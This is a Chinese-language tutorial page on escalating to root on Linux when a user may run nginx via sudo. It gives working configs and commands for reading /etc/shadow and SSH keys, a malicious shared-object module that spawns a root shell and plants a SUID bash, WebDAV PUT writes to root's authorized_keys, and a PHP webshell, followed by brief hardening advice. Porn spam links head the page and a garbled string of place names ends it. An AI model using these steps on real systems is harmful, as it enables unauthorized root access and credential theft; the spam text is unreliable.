最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Nginx配置文件提權(quán)的實(shí)戰(zhàn)指南

 更新時(shí)間:2025年09月23日 09:33:42   作者:vortex5  
在現(xiàn)代 Linux 系統(tǒng)中,nginx 通常作為 Web 服務(wù)的核心組件運(yùn)行,其支持的模塊化配置、靈活的路徑設(shè)置以及多樣的文件解析能力,本文結(jié)合一次真實(shí)場(chǎng)景,給大家介紹如何通過(guò)配置文件完成提權(quán)操作進(jìn)行深入剖析,需要的朋友可以參考下

在現(xiàn)代 Linux 系統(tǒng)中,nginx 通常作為 Web 服務(wù)的核心組件運(yùn)行,其支持的模塊化配置、靈活的路徑設(shè)置以及多樣的文件解析能力,為滲透測(cè)試人員在本地提權(quán)過(guò)程中提供了豐富的攻擊面。

本文結(jié)合一次真實(shí)場(chǎng)景,對(duì) nginx 在具有 sudo 權(quán)限的情況下,如何通過(guò)配置文件完成提權(quán)操作進(jìn)行深入剖析,涵蓋 任意文件讀取、模塊加載執(zhí)行、本地提權(quán)、遠(yuǎn)程命令執(zhí)行等關(guān)鍵鏈路。

場(chǎng)景復(fù)現(xiàn)

目標(biāo)系統(tǒng)中,普通用戶 mikannse 通過(guò) sudo -l 被發(fā)現(xiàn)擁有以下權(quán)限:

User mikannse may run the following commands on Config:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

該權(quán)限意味著:mikannse 用戶可以以 root 身份運(yùn)行nginx,那么我們就可以利用nginx配置文件來(lái)提權(quán)。

利用鏈一:任意文件讀取(信息泄露)

原理說(shuō)明

Nginx 中的 root 指令和 location 配置可以將系統(tǒng)任意目錄暴露為 Web 路徑,當(dāng)以 user root; 身份啟動(dòng) nginx 時(shí),即可突破系統(tǒng)權(quán)限訪問(wèn)敏感文件。

惡意配置示例

user root;

events {}

http {
    server {
        listen 8080;

        location / {
            root /;
            autoindex on;
        }
    }
}

效果驗(yàn)證

通過(guò)瀏覽器或 curl 工具訪問(wèn):

curl http://127.0.0.1:8080/root/.ssh/id_rsa
curl http://127.0.0.1:8080/etc/shadow

可直接讀取系統(tǒng)中的任意文件,包括 私鑰、shadow 文件、歷史命令記錄等敏感信息。

利用鏈二:動(dòng)態(tài)模塊加載提權(quán)(本地權(quán)限提升)

原理說(shuō)明

Nginx 支持通過(guò) load_module 加載 .so 動(dòng)態(tài)鏈接庫(kù)模塊,而這些模塊本質(zhì)上是標(biāo)準(zhǔn)的 ELF 文件,可以包含任意 C 語(yǔ)言構(gòu)造函數(shù)代碼。一旦以 root 身份加載,便可執(zhí)行任意系統(tǒng)命令。

依賴條件

  • 系統(tǒng)具備 gcc 編譯環(huán)境
  • 當(dāng)前用戶擁有寫(xiě)入配置與模塊的權(quán)限
  • 擁有以 root 身份加載配置的能力(sudo)

構(gòu)造流程

編寫(xiě)模塊代碼(rootme.c):

#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor))
void pwn() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}

編譯為動(dòng)態(tài)模塊:

gcc -fPIC -shared -o /home/mikannse/rootme.so rootme.c

編寫(xiě)惡意 nginx 配置文件(mikannse.conf):

load_module /home/mikannse/rootme.so;

events {}

http {}

啟動(dòng) nginx 加載模塊:

sudo /usr/sbin/nginx -c /home/mikannse/mikannse.conf

一旦模塊被加載,構(gòu)造函數(shù)立即觸發(fā),執(zhí)行 /bin/bash -p,直接獲得一個(gè) root shell。

提示

模塊執(zhí)行方式是立即型的,若不希望 nginx 守護(hù)進(jìn)程化導(dǎo)致 shell 消失,可在模塊中執(zhí)行持久化操作,如寫(xiě)入 SUID 文件:

system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");

利用鏈三:任意文件寫(xiě)入(PUT 方法 + 持久化)

原理說(shuō)明

Nginx 支持通過(guò) ngx_http_dav_module 開(kāi)啟 WebDAV PUT 功能,實(shí)現(xiàn) HTTP 請(qǐng)求寫(xiě)入本地文件。攻擊者可通過(guò)此方式將 payload 寫(xiě)入系統(tǒng)敏感位置(如 .ssh/authorized_keys、/etc/passwd、/etc/sudoers 等),從而實(shí)現(xiàn)持久化控制或提權(quán)。

示例配置:

user root;

events {}

http {
    server {
        listen 8081;

        location /upload/ {
            root /root/.ssh/;
            dav_methods PUT;
            create_full_put_path on;
            client_body_temp_path /tmp;
        }
    }
}

利用方法:

上傳 SSH 公鑰:

curl -T id_rsa.pub http://127.0.0.1:8081/upload/authorized_keys

然后使用對(duì)應(yīng)私鑰 SSH 登錄獲取 root 權(quán)限。

利用鏈四:?jiǎn)⒂媚_本解析(遠(yuǎn)程命令執(zhí)行)

原理說(shuō)明

如果目標(biāo)系統(tǒng)安裝了 PHP 與 php-fpm,攻擊者可將 nginx 配置為支持 .php 腳本解析,通過(guò)上傳 webshell 實(shí)現(xiàn) RCE(遠(yuǎn)程命令執(zhí)行)。

示例配置:

user root;

events {}

http {
    server {
        listen 8082;
        root /home/mikannse/www;
        index index.php;

        location ~ \.php$ {
            fastcgi_pass unix:/run/php/php7.4-fpm.sock;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            include fastcgi_params;
        }
    }
}

上傳 PHP Webshell:

<?php system($_GET['cmd']); ?>

訪問(wèn):

http://127.0.0.1:8082/shell.php?cmd=id

即可實(shí)現(xiàn)任意系統(tǒng)命令執(zhí)行。

利用鏈對(duì)比總結(jié)

利用方式所需條件影響范圍持久化能力
任意文件讀取user root + 監(jiān)聽(tīng)端口整個(gè)系統(tǒng)文件?
模塊加載提權(quán)gcc + sudo 啟動(dòng) nginx獲得 root shell?(寫(xiě)入 suid)
PUT 文件寫(xiě)入dav_methods 開(kāi)啟寫(xiě)入任意系統(tǒng)路徑?(植入 key)
腳本執(zhí)行 RCE安裝 php-fpm執(zhí)行任意命令?

防御建議

從防守角度出發(fā),針對(duì)上述攻擊鏈提出以下建議:

最小化 sudo 權(quán)限:

  • 嚴(yán)格限制 sudo nginx -c 權(quán)限,僅授予可信用戶或采用 wrapper 限定路徑。

禁用模塊加載功能:

  • 在編譯 nginx 時(shí)禁用 --with-dynamic-module。
  • 或配置 /usr/sbin/nginx 為不可執(zhí)行模塊加載路徑。

刪除開(kāi)發(fā)工具鏈:

  • 移除生產(chǎn)環(huán)境中不必要的 gcc、make,降低本地模塊構(gòu)造能力。

配置最小權(quán)限用戶運(yùn)行 nginx:

  • 避免使用 user root 啟動(dòng)服務(wù),限制文件系統(tǒng)訪問(wèn)權(quán)限。

禁止 PUT/DAV 寫(xiě)入:

  • 禁用 dav_methods,關(guān)閉 nginx 對(duì) HTTP PUT 的支持。

強(qiáng)化 PHP-FPM 安全配置:

  • 禁止處理未知目錄或不受信任路徑。
  • 啟用 open_basedir 限制。

結(jié)語(yǔ)

nginx 是一個(gè)功能強(qiáng)大但配置靈活的 Web 服務(wù)器,其 -c 參數(shù)在擁有 sudo 權(quán)限時(shí)可能帶來(lái)嚴(yán)重的安全隱患。一旦攻擊者能加載自定義配置文件,將可能導(dǎo)致從文件泄露、系統(tǒng)提權(quán)到遠(yuǎn)程代碼執(zhí)行的一整條攻擊鏈成立。

在安全加固方面,企業(yè)應(yīng)以“最小權(quán)限原則”和“攻擊面最小化”為核心,避免將復(fù)雜服務(wù)的控制權(quán)下放至普通用戶層級(jí),及時(shí)審計(jì)和收斂類似配置權(quán)限,降低被攻擊面。

以上就是Nginx配置文件提權(quán)的實(shí)戰(zhàn)指南的詳細(xì)內(nèi)容,更多關(guān)于Nginx配置文件提權(quán)的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Nginx禁止國(guó)外IP訪問(wèn)我的網(wǎng)站的實(shí)現(xiàn)

    Nginx禁止國(guó)外IP訪問(wèn)我的網(wǎng)站的實(shí)現(xiàn)

    本文主要介紹了Nginx禁止國(guó)外IP訪問(wèn)我的網(wǎng)站的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2023-07-07
  • Nginx中禁止使用IP訪問(wèn)網(wǎng)站的配置實(shí)例

    Nginx中禁止使用IP訪問(wèn)網(wǎng)站的配置實(shí)例

    這篇文章主要介紹了Nginx中禁止使用IP訪問(wèn)網(wǎng)站的配置實(shí)例,一般在備案時(shí)可能需要這種設(shè)置,需要的朋友可以參考下
    2014-07-07
  • 解決nginx服務(wù)器上發(fā)布的新版本代碼總需要清除瀏覽器緩存問(wèn)題

    解決nginx服務(wù)器上發(fā)布的新版本代碼總需要清除瀏覽器緩存問(wèn)題

    這篇文章主要介紹了解決nginx服務(wù)器上發(fā)布的新版本代碼總需要清除瀏覽器緩存問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-01-01
  • Centos離線安裝Nginx全過(guò)程

    Centos離線安裝Nginx全過(guò)程

    文章講述了如何在CentOS系統(tǒng)上離線安裝Nginx環(huán)境,包括準(zhǔn)備必要的依賴庫(kù)(如C++環(huán)境、openssl、pcre、zlib),編譯Nginx源碼,以及啟動(dòng)Nginx并驗(yàn)證安裝是否成功
    2025-11-11
  • Nginx如何實(shí)現(xiàn)對(duì)城市以及指定IP的訪問(wèn)限制

    Nginx如何實(shí)現(xiàn)對(duì)城市以及指定IP的訪問(wèn)限制

    本文介紹了如何使用Nginx代理MySQL連接并限制可訪問(wèn)IP,以及如何通過(guò)第三方模塊ngx_http_geoip2_module實(shí)現(xiàn)基于國(guó)家/城市訪問(wèn)限制
    2025-03-03
  • Nginx利用Lua+Redis實(shí)現(xiàn)動(dòng)態(tài)封禁IP的方法

    Nginx利用Lua+Redis實(shí)現(xiàn)動(dòng)態(tài)封禁IP的方法

    在站點(diǎn)遇到攻擊且無(wú)明顯攻擊特征,造成站點(diǎn)訪問(wèn)慢,nginx不斷返回502等錯(cuò)誤時(shí),可利用nginx+lua+redis對(duì)該IP進(jìn)行封禁,這篇文章主要給大家介紹了關(guān)于Nginx利用Lua+Redis實(shí)現(xiàn)動(dòng)態(tài)封禁IP的相關(guān)資料,需要的朋友可以參考下
    2018-12-12
  • nginx http模塊數(shù)據(jù)存儲(chǔ)結(jié)構(gòu)小結(jié)

    nginx http模塊數(shù)據(jù)存儲(chǔ)結(jié)構(gòu)小結(jié)

    這篇文章主要介紹了nginx http模塊數(shù)據(jù)存儲(chǔ)結(jié)構(gòu)小結(jié),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-02-02
  • Nginx 禁止IP訪問(wèn) 只允許域名訪問(wèn)

    Nginx 禁止IP訪問(wèn) 只允許域名訪問(wèn)

    今天要在Nginx上設(shè)置禁止通過(guò)IP訪問(wèn)服務(wù)器,只能通過(guò)域名訪問(wèn),這樣做是為了避免別人把未備案的域名解析到自己的服務(wù)器IP而導(dǎo)致服務(wù)器被斷網(wǎng),從網(wǎng)絡(luò)上搜到以下解決方案
    2016-09-09
  • nginx前綴匹配的實(shí)現(xiàn)

    nginx前綴匹配的實(shí)現(xiàn)

    在nginx的配置文件中,很容易的看到location的模塊,本文主要介紹了nginx前綴匹配的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2024-04-04
  • 如何本地安裝nginx及部署項(xiàng)目

    如何本地安裝nginx及部署項(xiàng)目

    這篇文章主要介紹了如何本地安裝nginx及部署項(xiàng)目問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-12-12

最新評(píng)論

大埔区| 壶关县| 上思县| 河东区| 葵青区| 沙河市| 武汉市| 天台县| 九龙坡区| 美姑县| 永吉县| 上林县| 余干县| 侯马市| 南宫市| 白城市| 米易县| 赤峰市| 惠安县| 曲周县| 长子县| 长垣县| 清丰县| 泾阳县| 图木舒克市| 安远县| 喜德县| 蒙城县| 辰溪县| 沾益县| 美姑县| 英吉沙县| 岑巩县| 南靖县| 榕江县| 台北市| 二连浩特市| 延边| 册亨县| 比如县| 临城县|